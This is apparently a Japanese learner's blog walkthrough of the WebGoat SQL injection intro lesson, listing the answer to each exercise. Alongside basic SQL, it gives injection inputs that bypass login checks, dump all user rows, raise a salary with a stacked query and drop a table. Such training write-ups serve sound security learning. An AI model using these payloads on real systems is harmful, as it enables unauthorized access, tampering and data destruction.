WebGoat-6: SQL Injection (intro)

2020-09-18

SQLとSQLインジェクションの基本を学ぶレッスン。

SQLなんて初めて触るよ。まあ構文はたいしたことないな。
SELECT department FROM employees WHERE first_name = 'Bob'が答え。ちなみに"Bob"というぐあいにダブルクォーテーションは使えないらしい。

update employees set department = 'Sales' where first_name = 'Tobi'が答え。
てかSQLの命令って大文字小文字の区別しないのか。

ALTER TABLE employees ADD phone varchar(20)が答え。

GRANT ALTER TABLE TO UnauthorizedUserが答え。

' or '1'='1 で SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1' となり、全ユーザデータを引き出せる。

Login_Countに0を、User_Idに0 or TRUEを入力で問題クリア。
こうして見ると、WHERE句にor TRUEを挿入されやすいのか。

Employee Nameに' or TRUE --を入力。Authentication TANは未入力でよい。

'; UPDATE employees SET salary = 99999999 WHERE first_name = 'John'; --が答え。

'; DROP TABLE access_log; --が答え。